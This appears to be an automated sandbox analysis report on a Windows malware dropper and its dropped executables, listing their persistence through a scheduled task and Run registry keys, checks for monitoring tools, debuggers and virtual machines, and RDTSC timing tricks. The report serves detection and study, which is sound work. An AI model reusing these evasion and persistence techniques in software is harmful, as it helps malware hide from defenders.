Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3275f9fb1e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3275f9fb1e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7847e34378.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7847e34378.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59f3adca26.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59f3adca26.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de5083afa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de5083afa.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Code function: 11_2_6CF555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_6CF555F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-11843
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9682

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe

API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 08f77951f7.exe, 00000029.00000002.3082320806.000000000050C000.00000004.00000001.01000000.00000020.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 08f77951f7.exe, 00000029.00000002.3082320806.000000000050C000.00000004.00000001.01000000.00000020.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F466 second address: 42F46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F46A second address: 42F477 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F477 second address: 42F47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42ECF7 second address: 42ED11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD26A second address: 5AD270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3207 second address: 5B3229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F6928EA4586h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F6928EA4591h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD28F second address: 5AD29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F6928B6AE76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B75E9 second address: 5B764A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F6928EA4588h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 or dword ptr [ebp+122D1E21h], edi 0x0000002e mov dword ptr [ebp+122D3281h], ebx 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+122D1D72h], edx 0x0000003c call 00007F6928EA4589h 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 jmp 00007F6928EA458Eh 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B764A second address: 5B7650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7650 second address: 5B7662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F6928EA4586h 0x00000012 rdtsc
